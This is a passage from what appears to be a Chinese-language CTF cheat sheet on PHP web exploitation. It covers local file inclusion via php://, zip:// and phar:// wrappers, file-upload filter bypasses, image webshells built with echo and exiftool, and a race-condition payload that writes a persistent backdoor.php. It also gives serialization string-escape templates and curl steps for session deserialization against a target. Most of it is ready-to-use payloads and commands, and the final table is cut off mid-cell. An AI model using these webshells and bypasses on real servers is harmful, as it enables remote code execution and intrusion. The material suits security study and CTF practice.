include "php://filter/convert.base64-encode/resource=index.php";
// ✔

include "zip://uploads/shell.zip#shell.php";  // ✔
include "phar://uploads/evil.jpg/test.txt";  // ✔
include "/etc/passwd";                        // ✔
```

文件上传进阶

① 后缀黑名单绕过

```
# PHP可解析的后缀（黑名单常漏掉）
.php3  .php4  .php5  .php7
.phtml .pht   .phps  .phar
.shtml                                # SSI注入

# 大小写绕过（Windows不区分大小写）
shell.PHP  shell.Php  shell.pHp

# Apache多后缀解析
shell.php.jpg    # Apache从左到右解析，.php优先
```

② `.htaccess` 文件绕过 (Apache)

```
# 上传 .htaccess, 内容:
AddType application/x-httpd-php .jpg
# 然后上传 shell.jpg (内容为PHP代码) → 访问 shell.jpg → RCE

# 或:
<FilesMatch "shell">
    SetHandler application/x-httpd-php
</FilesMatch>
```

③ MIME类型 (Content-Type) 绕过

```
# $_FILES['file']['type'] 完全由客户端控制, 不可信
# Burp拦截请求, 修改 Content-Type: image/jpeg
# 文件内容仍然是PHP代码
```

④ 图片马

```
# 在图片末尾追加PHP代码
cat shell.php >> image.jpg
echo '<?php system($_GET["cmd"]);?>' >> image.jpg

# 使用 exiftool 写入元数据
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

# 图片马单独访问不执行 (浏览器当图片处理)
# 必须配合 include/LFI 才能触发执行
?file=uploads/shell.jpg
```

⑤ 条件竞争（Race Condition）

```
# 场景：服务器先保存文件，再检测后删除
# 漏洞：在"保存"和"删除"之间的窗口期访问文件

# 攻击：两个线程同时运行
# 线程1：不断上传 shell.php
# 线程2：不断访问 uploads/shell.php

# shell.php内容（写入新的webshell，在被删前持久化）
<?php file_put_contents('backdoor.php','<?php system($_GET["c"]);?>');?>
```

⑥ 二次渲染绕过

```
# 场景：服务器对图片进行resize/压缩，会破坏插入的PHP代码
# 绕过：找图片格式中不会被处理的区域插入PHP代码

# GIF格式最容易绕过（处理时头部不变）
# 通用方法：
# 1. 正常上传图片，下载经过渲染后的图片
# 2. 对比原始和渲染后的图片，找不变区域
# 3. 在不变区域插入PHP代码
```

文件上传绕过总结：

检测方式	绕过方法	难度
后缀黑名单	特殊后缀/.htaccess	低
Content-Type	修改请求头	低
文件头魔术字节	图片马（保留合法头部）	中
后端重命名	条件竞争/配合LFI	高
二次渲染	找不变区域插入代码	高

审计代码流程

1. 找输入点
`$_GET / $_POST / $_COOKIE / $_REQUEST / $_SERVER`
2. 追踪数据流
输入 → 是否经过过滤 → 过滤是否可绕过
3. 找危险函数
`eval/system/include/unserialize/file_get_contents...`
4. 判断参数是否可控
是否直接拼接 / 过滤是否有缺陷
5. 构造Payload
根据漏洞类型选择利用方式

常见过滤缺陷：

```
// 过滤函数用值传递，实际没过滤到原变量
function filter($input) {
    $input = str_replace("../", "", $input);
    // 没有 return, 也没有 &, 原始变量未改变!
}
filter($_GET['file']);
include $_GET['file']; // 仍然是原始未过滤值
```

字符串逃逸 Payload 速查

判断方向：

过滤让字符变多 (a→aa, admin→hacker) → 增量逃逸
过滤让字符变少 (admin→空, script→空) → 减量逃逸

增量逃逸通用模板：

```
// str_replace("a", "aa", ...) → 每个 a 多1字节
// 注入目标属性（最后一个）：
$inject = '";s:目标属性长度:"目标属性名";s:值长度:"目标值";}';
$padding_count = strlen($inject);           // 需要多出的字节数
$name = str_repeat("a", $padding_count) . $inject;

// 注入目标属性（非最后一个，需保留后续属性）：
$inject = '";s:4:"role";s:5:"admin";s:3:"age";i:0;}';
// 需要把后续所有真实属性也包含在注入中
```

减量逃逸通用模板：

```
// str_replace("admin", "", ...) → 每个 admin 少5字节
$target = '";s:4:"role";s:5:"guest";}'; // 要吞掉的后缀（含长度！）
$inject = '";s:4:"role";s:5:"admin";}'; // 注入的新属性
$per_del = 5;                             // 每次减少字节数（admin长度）

$need = strlen($target);                   // 需要吞掉的字节数
$count = ceil($need / $per_del);           // 需要多少个 admin
$pad = $count * $per_del - $need;          // 多删了多少字节，用填充补回

$name = str_repeat("admin", $count) . str_repeat("x", $pad) .
$inject;
```

本地验证脚本：

```
<?php
function filter($s) {
    return str_replace("a", "aa", $s); // 替换成实际的过滤函数
}

// 将 $obj 设置为目标类实例，属性赋好值
$obj = new TargetClass();
$obj->name = "填入构造好的name值";

$ser = serialize($obj);
$filtered = filter($ser);
$result = unserialize($filtered);
```

```
var_dump($result);    // 检查目标属性是否被覆盖
?>
```

Session 反序列化 Payload 速查

快速判断是否存在漏洞：

```
# 检查 php.ini 中的处理器配置
grep "serialize_handler" /etc/php/*/php.ini

# 在题目中查找
grep -rn "session.serialize_handler\|ini_set.*session" *.php
```

写入恶意 Session（`php_serialize` 写入，`php` 读取）：

```
# Step 1: 生成 payload
php -r '
class Evil { public $cmd = "cat /flag"; }
echo urlencode("|" . serialize(new Evil()));
'

# Step 2: 写入 Session（访问用 php_serialize 写 session 的页面）
curl "http://target/upload.php?input=[URL编码后的payload]" \
-b "PHPSESSID=attack123"

# Step 3: 触发（访问用 php 处理器读 session 的页面）
curl "http://target/index.php" \
-b "PHPSESSID=attack123"
```

Session 文件内容验证：

```
# 查看 Session 文件确认写入成功
cat /tmp/sess_attack123
# 期望看到 |O:4:"Evil":... 片段
```

不同处理器组合的利用方式：

写入处理器	读取处理器	利用方法
<code>php_serialize</code>	<code>php</code>	<code>input</code> 值以 `
<code>php_binary</code>	<code>php</code>	同上, `
<code>php</code>	<code>php_serialize</code>	极少见, <code>php_serialize</code> 会把整体再次 <code>serialize</code> , 利用较难